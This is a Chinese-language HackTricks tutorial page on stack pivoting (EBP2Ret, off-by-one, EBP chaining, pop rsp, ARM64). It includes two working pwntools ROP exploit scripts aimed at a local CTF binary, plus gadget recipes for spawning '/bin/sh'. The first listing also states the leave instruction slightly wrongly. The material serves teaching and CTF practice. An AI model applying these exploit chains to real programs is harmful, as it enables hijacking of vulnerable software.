Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 11 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
此技术利用操纵 基指针 (EBP) 的能力,通过仔细使用 EBP 寄存器和 leave; ret
指令序列来链接多个函数的执行。
作为提醒,leave
基本上意味着:
mov ebp, esp
pop ebp
ret
并且由于EBP在栈中位于EIP之前,因此可以通过控制栈来控制它。
EBP2Ret
当你可以更改EBP寄存器但没有直接方法更改EIP寄存器时,这种技术特别有用。它利用了函数执行完毕后的行为。
如果在fvuln
执行期间,你设法在栈中注入一个假EBP,指向内存中你的shellcode地址所在的区域(加上4个字节以考虑pop
操作),你可以间接控制EIP。当fvuln
返回时,ESP被设置为这个构造的位置,随后的pop
操作将ESP减少4,有效地使其指向攻击者在其中存储的地址。
注意你需要知道2个地址:ESP将要去的地址,以及你需要在ESP指向的地方写入的地址。
Exploit Construction
首先,你需要知道一个可以写入任意数据/地址的地址。ESP将在这里指向并运行第一个ret
。
然后,你需要知道ret
使用的地址,该地址将执行任意代码。你可以使用:
- 一个有效的ONE_GADGET地址。
system()
的地址,后面跟着4个垃圾字节和"/bin/sh"
的地址(x86位)。- 一个**
jump esp;
** gadget的地址(ret2esp),后面跟着要执行的shellcode。 - 一些ROP链
请记住,在受控内存的任何这些地址之前,必须有**4
个字节**,因为**pop
部分的leave
指令。可以利用这4个字节设置一个第二个假EBP**,并继续控制执行。
Off-By-One Exploit
这种技术有一个特定的变体,称为“Off-By-One Exploit”。当你只能修改EBP的最低有效字节时使用。在这种情况下,存储要跳转到的地址的内存位置必须与EBP共享前3个字节,从而允许在更受限的条件下进行类似的操作。
通常会修改字节0x00以跳转尽可能远。
此外,通常在栈中使用RET滑块,并将真实的ROP链放在末尾,以使新的ESP更有可能指向RET滑块内部,并执行最终的ROP链。
EBP Chaining
因此,将一个受控地址放入栈的EBP
条目中,并在EIP
中放入一个leave; ret
的地址,可以将ESP
移动到栈中的受控EBP
地址。
现在,**ESP
**被控制,指向所需地址,下一条要执行的指令是RET
。为了利用这一点,可以在受控ESP位置放置以下内容:
&(next fake EBP)
-> 由于leave
指令中的pop ebp
加载新的EBPsystem()
-> 由ret
调用&(leave;ret)
-> 在system结束后调用,它将ESP移动到假EBP并重新开始&("/bin/sh")
->system
的参数
基本上,这种方式可以链接多个假EBP以控制程序的流程。
这类似于ret2lib,但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。
此外,这里有一个挑战示例,使用这种技术与栈泄漏来调用一个获胜函数。这是页面的最终有效载荷:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP 可能未被使用
如在此帖子中解释的,如果一个二进制文件是使用某些优化编译的,EBP 永远无法控制 ESP,因此,任何通过控制 EBP 的漏洞基本上都会失败,因为它没有任何实际效果。
这是因为如果二进制文件经过优化,前言和尾声会发生变化。
- 未优化:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 优化:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
其他控制 RSP 的方法
pop rsp
gadget
在此页面 你可以找到使用此技术的示例。对于这个挑战,需要调用一个带有 2 个特定参数的函数,并且有一个 pop rsp
gadget 和一个 来自栈的泄漏:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
查看 ret2esp 技术:
参考文献与其他示例
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 位,越界利用,使用以 ret sled 开头的 ROP 链
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 位,无 relro、canary、nx 和 pie。该程序允许泄漏堆栈或 pie 以及一个 qword 的 WWW。首先获取堆栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用
.fini_array
条目 + 调用__libc_csu_fini
的永恒循环(更多信息在这里)。利用这个“永恒”写入,在 .bss 中写入一个 ROP 链并最终调用它,通过 RBP 进行 pivoting。
ARM64
在 ARM64 中,函数的 前言和尾声 不在堆栈中存储和检索 SP 寄存器。此外,RET
指令不会返回到 SP 指向的地址,而是 返回到 x30
内的地址。
因此,默认情况下,仅仅利用尾声你 无法通过覆盖堆栈中的某些数据来控制 SP 寄存器。即使你设法控制了 SP,你仍然需要一种方法来 控制 x30
寄存器。
- 前言
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP 指向帧记录
- 尾声
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 控制 SP
(通过控制某个寄存器的值传递给 SP
,或者因为某种原因 SP
从堆栈获取其地址并且我们有溢出)然后 利用尾声 从 受控的 SP
加载 x30
寄存器并 RET
到它。
在以下页面中,你还可以看到 Ret2esp 在 ARM64 中的等效物:
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。